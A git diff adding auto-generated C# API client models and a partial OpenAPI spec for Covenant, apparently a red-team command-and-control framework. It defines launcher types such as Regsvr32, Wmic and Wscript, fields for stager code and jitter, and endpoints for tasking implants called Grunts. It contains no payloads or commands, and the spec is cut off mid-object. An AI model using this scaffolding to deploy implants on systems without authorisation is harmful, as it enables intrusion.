{ + /// + /// Initializes a new instance of the Regsvr32Launcher class. + /// + public Regsvr32Launcher() + { + CustomInit(); + } + + /// + /// Initializes a new instance of the Regsvr32Launcher class. + /// + /// Possible values include: 'JScript', + /// 'VBScript' + /// Possible values include: + /// 'Net40', 'Net35', 'NetCore21' + /// Possible values include: 'Wmic', 'Regsvr32', + /// 'Mshta', 'Cscript', 'Wscript', 'PowerShell', 'Binary', 'MSBuild', + /// 'InstallUtil' + public Regsvr32Launcher(string parameterString = default(string), string dllName = default(string), ScriptingLanguage? scriptLanguage = default(ScriptingLanguage?), string progId = default(string), string diskCode = default(string), int? id = default(int?), int? listenerId = default(int?), DotNetVersion? dotNetFrameworkVersion = default(DotNetVersion?), string launcherString = default(string), LauncherType? type = default(LauncherType?), string name = default(string), string description = default(string), int? delay = default(int?), int? jitter = default(int?), int? connectAttempts = default(int?), string stagerCode = default(string), string base64ILByteString = default(string)) + { + ParameterString = parameterString; + DllName = dllName; + ScriptLanguage = scriptLanguage; + ProgId = progId; + DiskCode = diskCode; + Id = id; + ListenerId = listenerId; + DotNetFrameworkVersion = dotNetFrameworkVersion; + LauncherString = launcherString; + Type = type; + Name = name; + Description = description; + Delay = delay; + Jitter = jitter; + ConnectAttempts = connectAttempts; + StagerCode = stagerCode; + Base64ILByteString = base64ILByteString; + CustomInit(); + } + + /// + /// An initialization method that performs custom operations like setting defaults + /// + partial void CustomInit(); + + /// + /// + [JsonProperty(PropertyName = "parameterString")] + public string ParameterString { get; set; } + + /// + /// + [JsonProperty(PropertyName = "dllName")] + public string DllName { get; set; } + + /// + /// Gets or sets possible values include: 'JScript', 'VBScript' + /// + [JsonProperty(PropertyName = "scriptLanguage")] + public ScriptingLanguage? ScriptLanguage { get; set; } + + /// + /// + [JsonProperty(PropertyName = "progId")] + public string ProgId { get; set; } + + /// + /// + [JsonProperty(PropertyName = "diskCode")] + public string DiskCode { get; set; } + + /// + /// + [JsonProperty(PropertyName = "id")] + public int? Id { get; set; } + + /// + /// + [JsonProperty(PropertyName = "listenerId")] + public int? ListenerId { get; set; } + + /// + /// Gets or sets possible values include: 'Net40', 'Net35', 'NetCore21' + /// + [JsonProperty(PropertyName = "dotNetFrameworkVersion")] + public DotNetVersion? DotNetFrameworkVersion { get; set; } + + /// + /// + [JsonProperty(PropertyName = "launcherString")] + public string LauncherString { get; set; } + + /// + /// Gets or sets possible values include: 'Wmic', 'Regsvr32', 'Mshta', + /// 'Cscript', 'Wscript', 'PowerShell', 'Binary', 'MSBuild', + /// 'InstallUtil' + /// + [JsonProperty(PropertyName = "type")] + public LauncherType? Type { get; set; } + + /// + /// + [JsonProperty(PropertyName = "name")] + public string Name { get; set; } + + /// + /// + [JsonProperty(PropertyName = "description")] + public string Description { get; set; } + + /// + /// + [JsonProperty(PropertyName = "delay")] + public int? Delay { get; set; } + + /// + /// + [JsonProperty(PropertyName = "jitter")] + public int? Jitter { get; set; } + + /// + /// + [JsonProperty(PropertyName = "connectAttempts")] + public int? ConnectAttempts { get; set; } + + /// + /// + [JsonProperty(PropertyName = "stagerCode")] + public string StagerCode { get; set; } + + /// + /// + [JsonProperty(PropertyName = "base64ILByteString")] + public string Base64ILByteString { get; set; } + + } +} diff --git a/Covenant/API/Models/ScriptingLanguage.cs b/Covenant/API/Models/ScriptingLanguage.cs new file mode 100644 index 00000000..9ecdbcaf --- /dev/null +++ b/Covenant/API/Models/ScriptingLanguage.cs @@ -0,0 +1,56 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using Newtonsoft.Json.Converters; + using System.Runtime; + using System.Runtime.Serialization; + + /// + /// Defines values for ScriptingLanguage. + /// + [JsonConverter(typeof(StringEnumConverter))] + public enum ScriptingLanguage + { + [EnumMember(Value = "JScript")] + JScript, + [EnumMember(Value = "VBScript")] + VBScript + } + internal static class ScriptingLanguageEnumExtension + { + internal static string ToSerializedValue(this ScriptingLanguage? value) + { + return value == null ? null : ((ScriptingLanguage)value).ToSerializedValue(); + } + + internal static string ToSerializedValue(this ScriptingLanguage value) + { + switch( value ) + { + case ScriptingLanguage.JScript: + return "JScript"; + case ScriptingLanguage.VBScript: + return "VBScript"; + } + return null; + } + + internal static ScriptingLanguage? ParseScriptingLanguage(this string value) + { + switch( value ) + { + case "JScript": + return ScriptingLanguage.JScript; + case "VBScript": + return ScriptingLanguage.VBScript; + } + return null; + } + } +} diff --git a/Covenant/API/Models/TargetIndicator.cs b/Covenant/API/Models/TargetIndicator.cs new file mode 100644 index 00000000..e027d3f0 --- /dev/null +++ b/Covenant/API/Models/TargetIndicator.cs @@ -0,0 +1,60 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using System.Linq; + + public partial class TargetIndicator + { + /// + /// Initializes a new instance of the TargetIndicator class. + /// + public TargetIndicator() + { + CustomInit(); + } + + /// + /// Initializes a new instance of the TargetIndicator class. + /// + public TargetIndicator(string computerName = default(string), string userName = default(string), int? id = default(int?), string name = default(string)) + { + ComputerName = computerName; + UserName = userName; + Id = id; + Name = name; + CustomInit(); + } + + /// + /// An initialization method that performs custom operations like setting defaults + /// + partial void CustomInit(); + + /// + /// + [JsonProperty(PropertyName = "computerName")] + public string ComputerName { get; set; } + + /// + /// + [JsonProperty(PropertyName = "userName")] + public string UserName { get; set; } + + /// + /// + [JsonProperty(PropertyName = "id")] + public int? Id { get; set; } + + /// + /// + [JsonProperty(PropertyName = "name")] + public string Name { get; set; } + + } +} diff --git a/Covenant/API/Models/WmicLauncher.cs b/Covenant/API/Models/WmicLauncher.cs new file mode 100644 index 00000000..6da6d800 --- /dev/null +++ b/Covenant/API/Models/WmicLauncher.cs @@ -0,0 +1,138 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using System.Linq; + + public partial class WmicLauncher + { + /// + /// Initializes a new instance of the WmicLauncher class. + /// + public WmicLauncher() + { + CustomInit(); + } + + /// + /// Initializes a new instance of the WmicLauncher class. + /// + /// Possible values include: 'JScript', + /// 'VBScript' + /// Possible values include: + /// 'Net40', 'Net35', 'NetCore21' + /// Possible values include: 'Wmic', 'Regsvr32', + /// 'Mshta', 'Cscript', 'Wscript', 'PowerShell', 'Binary', 'MSBuild', + /// 'InstallUtil' + public WmicLauncher(ScriptingLanguage? scriptLanguage = default(ScriptingLanguage?), string progId = default(string), string diskCode = default(string), int? id = default(int?), int? listenerId = default(int?), DotNetVersion? dotNetFrameworkVersion = default(DotNetVersion?), string launcherString = default(string), LauncherType? type = default(LauncherType?), string name = default(string), string description = default(string), int? delay = default(int?), int? jitter = default(int?), int? connectAttempts = default(int?), string stagerCode = default(string), string base64ILByteString = default(string)) + { + ScriptLanguage = scriptLanguage; + ProgId = progId; + DiskCode = diskCode; + Id = id; + ListenerId = listenerId; + DotNetFrameworkVersion = dotNetFrameworkVersion; + LauncherString = launcherString; + Type = type; + Name = name; + Description = description; + Delay = delay; + Jitter = jitter; + ConnectAttempts = connectAttempts; + StagerCode = stagerCode; + Base64ILByteString = base64ILByteString; + CustomInit(); + } + + /// + /// An initialization method that performs custom operations like setting defaults + /// + partial void CustomInit(); + + /// + /// Gets or sets possible values include: 'JScript', 'VBScript' + /// + [JsonProperty(PropertyName = "scriptLanguage")] + public ScriptingLanguage? ScriptLanguage { get; set; } + + /// + /// + [JsonProperty(PropertyName = "progId")] + public string ProgId { get; set; } + + /// + /// + [JsonProperty(PropertyName = "diskCode")] + public string DiskCode { get; set; } + + /// + /// + [JsonProperty(PropertyName = "id")] + public int? Id { get; set; } + + /// + /// + [JsonProperty(PropertyName = "listenerId")] + public int? ListenerId { get; set; } + + /// + /// Gets or sets possible values include: 'Net40', 'Net35', 'NetCore21' + /// + [JsonProperty(PropertyName = "dotNetFrameworkVersion")] + public DotNetVersion? DotNetFrameworkVersion { get; set; } + + /// + /// + [JsonProperty(PropertyName = "launcherString")] + public string LauncherString { get; set; } + + /// + /// Gets or sets possible values include: 'Wmic', 'Regsvr32', 'Mshta', + /// 'Cscript', 'Wscript', 'PowerShell', 'Binary', 'MSBuild', + /// 'InstallUtil' + /// + [JsonProperty(PropertyName = "type")] + public LauncherType? Type { get; set; } + + /// + /// + [JsonProperty(PropertyName = "name")] + public string Name { get; set; } + + /// + /// + [JsonProperty(PropertyName = "description")] + public string Description { get; set; } + + /// + /// + [JsonProperty(PropertyName = "delay")] + public int? Delay { get; set; } + + /// + /// + [JsonProperty(PropertyName = "jitter")] + public int? Jitter { get; set; } + + /// + /// + [JsonProperty(PropertyName = "connectAttempts")] + public int? ConnectAttempts { get; set; } + + /// + /// + [JsonProperty(PropertyName = "stagerCode")] + public string StagerCode { get; set; } + + /// + /// + [JsonProperty(PropertyName = "base64ILByteString")] + public string Base64ILByteString { get; set; } + + } +} diff --git a/Covenant/API/Models/WscriptLauncher.cs b/Covenant/API/Models/WscriptLauncher.cs new file mode 100644 index 00000000..2d229c44 --- /dev/null +++ b/Covenant/API/Models/WscriptLauncher.cs @@ -0,0 +1,138 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API.Models +{ + using Newtonsoft.Json; + using System.Linq; + + public partial class WscriptLauncher + { + /// + /// Initializes a new instance of the WscriptLauncher class. + /// + public WscriptLauncher() + { + CustomInit(); + } + + /// + /// Initializes a new instance of the WscriptLauncher class. + /// + /// Possible values include: 'JScript', + /// 'VBScript' + /// Possible values include: + /// 'Net40', 'Net35', 'NetCore21' + /// Possible values include: 'Wmic', 'Regsvr32', + /// 'Mshta', 'Cscript', 'Wscript', 'PowerShell', 'Binary', 'MSBuild', + /// 'InstallUtil' + public WscriptLauncher(ScriptingLanguage? scriptLanguage = default(ScriptingLanguage?), string progId = default(string), string diskCode = default(string), int? id = default(int?), int? listenerId = default(int?), DotNetVersion? dotNetFrameworkVersion = default(DotNetVersion?), string launcherString = default(string), LauncherType? type = default(LauncherType?), string name = default(string), string description = default(string), int? delay = default(int?), int? jitter = default(int?), int? connectAttempts = default(int?), string stagerCode = default(string), string base64ILByteString = default(string)) + { + ScriptLanguage = scriptLanguage; + ProgId = progId; + DiskCode = diskCode; + Id = id; + ListenerId = listenerId; + DotNetFrameworkVersion = dotNetFrameworkVersion; + LauncherString = launcherString; + Type = type; + Name = name; + Description = description; + Delay = delay; + Jitter = jitter; + ConnectAttempts = connectAttempts; + StagerCode = stagerCode; + Base64ILByteString = base64ILByteString; + CustomInit(); + } + + /// + /// An initialization method that performs custom operations like setting defaults + /// + partial void CustomInit(); + + /// + /// Gets or sets possible values include: 'JScript', 'VBScript' + /// + [JsonProperty(PropertyName = "scriptLanguage")] + public ScriptingLanguage? ScriptLanguage { get; set; } + + /// + /// + [JsonProperty(PropertyName = "progId")] + public string ProgId { get; set; } + + /// + /// + [JsonProperty(PropertyName = "diskCode")] + public string DiskCode { get; set; } + + /// + /// + [JsonProperty(PropertyName = "id")] + public int? Id { get; set; } + + /// + /// + [JsonProperty(PropertyName = "listenerId")] + public int? ListenerId { get; set; } + + /// + /// Gets or sets possible values include: 'Net40', 'Net35', 'NetCore21' + /// + [JsonProperty(PropertyName = "dotNetFrameworkVersion")] + public DotNetVersion? DotNetFrameworkVersion { get; set; } + + /// + /// + [JsonProperty(PropertyName = "launcherString")] + public string LauncherString { get; set; } + + /// + /// Gets or sets possible values include: 'Wmic', 'Regsvr32', 'Mshta', + /// 'Cscript', 'Wscript', 'PowerShell', 'Binary', 'MSBuild', + /// 'InstallUtil' + /// + [JsonProperty(PropertyName = "type")] + public LauncherType? Type { get; set; } + + /// + /// + [JsonProperty(PropertyName = "name")] + public string Name { get; set; } + + /// + /// + [JsonProperty(PropertyName = "description")] + public string Description { get; set; } + + /// + /// + [JsonProperty(PropertyName = "delay")] + public int? Delay { get; set; } + + /// + /// + [JsonProperty(PropertyName = "jitter")] + public int? Jitter { get; set; } + + /// + /// + [JsonProperty(PropertyName = "connectAttempts")] + public int? ConnectAttempts { get; set; } + + /// + /// + [JsonProperty(PropertyName = "stagerCode")] + public string StagerCode { get; set; } + + /// + /// + [JsonProperty(PropertyName = "base64ILByteString")] + public string Base64ILByteString { get; set; } + + } +} diff --git a/Covenant/API/openapi.json b/Covenant/API/openapi.json new file mode 100644 index 00000000..3137637f --- /dev/null +++ b/Covenant/API/openapi.json @@ -0,0 +1 @@ +{"swagger":"2.0","info":{"version":"v0.1","title":"Covenant API"},"basePath":"/","paths":{"/api/users":{"get":{"tags":["CovenantUser"],"operationId":"ApiUsersGet","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"type":"array","items":{"$ref":"#/definitions/CovenantUser"}}}}},"put":{"tags":["CovenantUser"],"operationId":"ApiUsersPut","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"user","in":"body","required":false,"schema":{"$ref":"#/definitions/CovenantUser"}}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/CovenantUser"}}}},"post":{"tags":["CovenantUser"],"operationId":"ApiUsersPost","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"login","in":"body","required":false,"schema":{"$ref":"#/definitions/CovenantUserLogin"}}],"responses":{"201":{"description":"Success","schema":{"$ref":"#/definitions/CovenantUser"}}}}},"/api/users/{uid}":{"get":{"tags":["CovenantUser"],"operationId":"ApiUsersByUidGet","consumes":[],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"uid","in":"path","required":true,"type":"string"}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/CovenantUser"}}}},"delete":{"tags":["CovenantUser"],"operationId":"ApiUsersByUidDelete","consumes":[],"produces":[],"parameters":[{"name":"uid","in":"path","required":true,"type":"string"}],"responses":{"204":{"description":"Success"}}}},"/api/users/login":{"post":{"tags":["CovenantUser"],"operationId":"ApiUsersLoginPost","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"login","in":"body","required":false,"schema":{"$ref":"#/definitions/CovenantUserLogin"}}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/CovenantUserLoginResult"}}}}},"/api/users/roles":{"get":{"tags":["CovenantUser"],"operationId":"ApiUsersRolesGet","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"type":"array","items":{"$ref":"#/definitions/IdentityUserRole[String]"}}}}}},"/api/users/{uid}/roles":{"get":{"tags":["CovenantUser"],"operationId":"ApiUsersByUidRolesGet","consumes":[],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"uid","in":"path","required":true,"type":"string"}],"responses":{"200":{"description":"Success","schema":{"type":"array","items":{"$ref":"#/definitions/IdentityUserRole[String]"}}}}}},"/api/users/{uid}/roles/{rid}":{"get":{"tags":["CovenantUser"],"operationId":"ApiUsersByUidRolesByRidGet","consumes":[],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"uid","in":"path","required":true,"type":"string"},{"name":"rid","in":"path","required":true,"type":"string"}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/IdentityUserRole[String]"}}}},"post":{"tags":["CovenantUser"],"operationId":"ApiUsersByUidRolesByRidPost","consumes":[],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"uid","in":"path","required":true,"type":"string"},{"name":"rid","in":"path","required":true,"type":"string"}],"responses":{"201":{"description":"Success","schema":{"$ref":"#/definitions/IdentityUserRole[String]"}}}},"delete":{"tags":["CovenantUser"],"operationId":"ApiUsersByUidRolesByRidDelete","consumes":[],"produces":[],"parameters":[{"name":"uid","in":"path","required":true,"type":"string"},{"name":"rid","in":"path","required":true,"type":"string"}],"responses":{"204":{"description":"Success"}}}},"/api/roles":{"get":{"tags":["CovenantUser"],"operationId":"ApiRolesGet","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"type":"array","items":{"$ref":"#/definitions/IdentityRole"}}}}}},"/api/roles/{rid}":{"get":{"tags":["CovenantUser"],"operationId":"ApiRolesByRidGet","consumes":[],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"rid","in":"path","required":true,"type":"string"}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/IdentityRole"}}}}},"/api/Events":{"get":{"tags":["Event"],"operationId":"ApiEventsGet","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"type":"array","items":{"$ref":"#/definitions/Event"}}}}},"post":{"tags":["Event"],"operationId":"ApiEventsPost","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"anEvent","in":"body","required":false,"schema":{"$ref":"#/definitions/Event"}}],"responses":{"201":{"description":"Success","schema":{"$ref":"#/definitions/Event"}}}}},"/api/Events/{id}":{"get":{"tags":["Event"],"operationId":"ApiEventsByIdGet","consumes":[],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"id","in":"path","required":true,"type":"integer","format":"int32"}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/Event"}}}}},"/api/Events/time":{"get":{"tags":["Event"],"operationId":"ApiEventsTimeGet","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"format":"int64","type":"integer"}}}}},"/api/Events/range/{fromdate}":{"get":{"tags":["Event"],"operationId":"ApiEventsRangeByFromdateGet","consumes":[],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"fromdate","in":"path","required":true,"type":"integer","format":"int64"}],"responses":{"200":{"description":"Success","schema":{"type":"array","items":{"$ref":"#/definitions/Event"}}}}}},"/api/Events/range/{fromdate}/{todate}":{"get":{"tags":["Event"],"operationId":"ApiEventsRangeByFromdateByTodateGet","consumes":[],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"fromdate","in":"path","required":true,"type":"integer","format":"int64"},{"name":"todate","in":"path","required":true,"type":"integer","format":"int64"}],"responses":{"200":{"description":"Success","schema":{"type":"array","items":{"$ref":"#/definitions/Event"}}}}}},"/api/Events/download/{id}":{"get":{"tags":["Event"],"operationId":"ApiEventsDownloadByIdGet","consumes":[],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"id","in":"path","required":true,"type":"integer","format":"int32"}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/DownloadEvent"}}}}},"/api/Events/download/{id}/content":{"get":{"tags":["Event"],"operationId":"ApiEventsDownloadByIdContentGet","consumes":[],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"id","in":"path","required":true,"type":"integer","format":"int32"}],"responses":{"200":{"description":"Success","schema":{"type":"string"}}}}},"/api/Events/download":{"post":{"tags":["Event"],"operationId":"ApiEventsDownloadPost","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"downloadEvent","in":"body","required":false,"schema":{"$ref":"#/definitions/DownloadEvent"}}],"responses":{"201":{"description":"Success","schema":{"$ref":"#/definitions/Event"}}}}},"/api/Grunts":{"get":{"tags":["Grunt"],"operationId":"ApiGruntsGet","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"type":"array","items":{"$ref":"#/definitions/Grunt"}}}}},"put":{"tags":["Grunt"],"operationId":"ApiGruntsPut","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"grunt","in":"body","required":false,"schema":{"$ref":"#/definitions/Grunt"}}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/Grunt"}}}},"post":{"tags":["Grunt"],"operationId":"ApiGruntsPost","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"grunt","in":"body","required":false,"schema":{"$ref":"#/definitions/Grunt"}}],"responses":{"201":{"description":"Success","schema":{"$ref":"#/definitions/Grunt"}}}}},"/api/Grunts/{id}":{"get":{"tags":["Grunt"],"operationId":"ApiGruntsByIdGet","consumes":[],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"id","in":"path","required":true,"type":"integer","format":"int32"}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/Grunt"}}}},"delete":{"tags":["Grunt"],"operationId":"ApiGruntsByIdDelete","consumes":[],"produces":[],"parameters":[{"name":"id","in":"path","required":true,"type":"integer","format":"int32"}],"responses":{"204":{"description":"Success"}}}},"/api/GruntTasks":{"get":{"tags":["GruntTask"],"operationId":"ApiGruntTasksGet","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"type":"array","items":{"$ref":"#/definitions/GruntTask"}}}}}},"/api/GruntTasks/{id}":{"get":{"tags":["GruntTask"],"operationId":"ApiGruntTasksByIdGet","consumes":[],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"id","in":"path","required":true,"type":"integer","format":"int32"}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/GruntTask"}}}},"put":{"tags":["GruntTask"],"operationId":"ApiGruntTasksByIdPut","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"id","in":"path","required":true,"type":"integer","format":"int32"},{"name":"task","in":"body","required":false,"schema":{"$ref":"#/definitions/GruntTask"}}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/GruntTask"}}}},"post":{"tags":["GruntTask"],"operationId":"ApiGruntTasksByIdPost","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"id","in":"path","required":true,"type":"integer","format":"int32"},{"name":"task","in":"body","required":false,"schema":{"$ref":"#/definitions/GruntTask"}}],"responses":{"201":{"description":"Success","schema":{"$ref":"#/definitions/GruntTask"}}}},"delete":{"tags":["GruntTask"],"operationId":"ApiGruntTasksByIdDelete","consumes":[],"produces":[],"parameters":[{"name":"id","in":"path","required":true,"type":"integer","format":"int32"}],"responses":{"204":{"description":"Success"}}}},"/api/GruntTasks/{taskname}":{"get":{"tags":["GruntTask"],"operationId":"ApiGruntTasksByTasknameGet","consumes":[],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"taskname","in":"path","required":true,"type":"string"}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/GruntTask"}}}}},"/api/grunts/{id}/taskings":{"get":{"tags":["GruntTasking"],"operationId":"ApiGruntsByIdTaskingsGet","consumes":[],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"id","in":"path","required":true,"type":"integer","format":"int32"}],"responses":{"200":{"description":"Success","schema":{"type":"array","items":{"$ref":"#/definitions/GruntTasking"}}}}},"post":{"tags":["GruntTasking"],"operationId":"ApiGruntsByIdTaskingsPost","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"id","in":"path","required":true,"type":"integer","format":"int32"},{"name":"gruntTasking","in":"body","required":false,"schema":{"$ref":"#/definitions/GruntTasking"}}],"responses":{"201":{"description":"Success","schema":{"$ref":"#/definitions/GruntTasking"}}}}},"/api/grunts/{id}/taskings/{taskname}":{"get":{"tags":["GruntTasking"],"operationId":"ApiGruntsByIdTaskingsByTasknameGet","consumes":[],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"id","in":"path","required":true,"type":"integer","format":"int32"},{"name":"taskname","in":"path","required":true,"type":"string"}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/GruntTasking"}}}},"put":{"tags":["GruntTasking"],"operationId":"ApiGruntsByIdTaskingsByTasknamePut","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"id","in":"path","required":true,"type":"integer","format":"int32"},{"name":"taskname","in":"path","required":true,"type":"string"},{"name":"gruntTasking","in":"body","required":false,"schema":{"$ref":"#/definitions/GruntTasking"}}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/GruntTasking"}}}},"delete":{"tags":["GruntTasking"],"operationId":"ApiGruntsByIdTaskingsByTasknameDelete","consumes":[],"produces":[],"parameters":[{"name":"id","in":"path","required":true,"type":"integer","format":"int32"},{"name":"taskname","in":"path","required":true,"type":"string"}],"responses":{"204":{"description":"Success"}}}},"/api/Indicators/results":{"get":{"tags":["Indicator"],"operationId":"ApiIndicatorsResultsGet","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"type":"string"}}}}},"/api/Indicators":{"get":{"tags":["Indicator"],"operationId":"ApiIndicatorsGet","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"type":"array","items":{"$ref":"#/definitions/Indicator"}}}}},"put":{"tags":["Indicator"],"operationId":"ApiIndicatorsPut","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"indicator","in":"body","required":false,"schema":{"$ref":"#/definitions/Indicator"}}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/Indicator"}}}},"post":{"tags":["Indicator"],"operationId":"ApiIndicatorsPost","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"indicator","in":"body","required":false,"schema":{"$ref":"#/definitions/Indicator"}}],"responses":{"201":{"description":"Success","schema":{"$ref":"#/definitions/Indicator"}}}}},"/api/Indicators/files":{"get":{"tags":["Indicator"],"operationId":"ApiIndicatorsFilesGet","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"type":"array","items":{"$ref":"#/definitions/FileIndicator"}}}}}},"/api/Indicators/networks":{"get":{"tags":["Indicator"],"operationId":"ApiIndicatorsNetworksGet","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"type":"array","items":{"$ref":"#/definitions/NetworkIndicator"}}}}}},"/api/Indicators/targets":{"get":{"tags":["Indicator"],"operationId":"ApiIndicatorsTargetsGet","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"type":"array","items":{"$ref":"#/definitions/TargetIndicator"}}}}}},"/api/Indicators/{id}":{"get":{"tags":["Indicator"],"operationId":"ApiIndicatorsByIdGet","consumes":[],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"id","in":"path","required":true,"type":"integer","format":"int32"}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/Indicator"}}}},"delete":{"tags":["Indicator"],"operationId":"ApiIndicatorsByIdDelete","consumes":[],"produces":[],"parameters":[{"name":"id","in":"path","required":true,"type":"integer","format":"int32"}],"responses":{"204":{"description":"Success"}}}},"/api/Indicators/files/{id}":{"get":{"tags":["Indicator"],"operationId":"ApiIndicatorsFilesByIdGet","consumes":[],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"id","in":"path","required":true,"type":"integer","format":"int32"}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/FileIndicator"}}}}},"/api/Indicators/networks/{id}":{"get":{"tags":["Indicator"],"operationId":"ApiIndicatorsNetworksByIdGet","consumes":[],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"id","in":"path","required":true,"type":"integer","format":"int32"}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/NetworkIndicator"}}}}},"/api/Indicators/targets/{id}":{"get":{"tags":["Indicator"],"operationId":"ApiIndicatorsTargetsByIdGet","consumes":[],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"id","in":"path","required":true,"type":"integer","format":"int32"}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/TargetIndicator"}}}}},"/api/Launchers":{"get":{"tags":["Launcher"],"operationId":"ApiLaunchersGet","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"type":"array","items":{"$ref":"#/definitions/Launcher"}}}}}},"/api/Launchers/binary":{"get":{"tags":["Launcher"],"operationId":"ApiLaunchersBinaryGet","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/BinaryLauncher"}}}},"put":{"tags":["Launcher"],"operationId":"ApiLaunchersBinaryPut","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"binaryLauncher","in":"body","required":false,"schema":{"$ref":"#/definitions/BinaryLauncher"}}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/BinaryLauncher"}}}},"post":{"tags":["Launcher"],"operationId":"ApiLaunchersBinaryPost","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/BinaryLauncher"}}}}},"/api/Launchers/binary/hosted":{"post":{"tags":["Launcher"],"operationId":"ApiLaunchersBinaryHostedPost","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"hostedFile","in":"body","required":false,"schema":{"$ref":"#/definitions/HostedFile"}}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/BinaryLauncher"}}}}},"/api/Launchers/powershell":{"get":{"tags":["Launcher"],"operationId":"ApiLaunchersPowershellGet","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/PowerShellLauncher"}}}},"put":{"t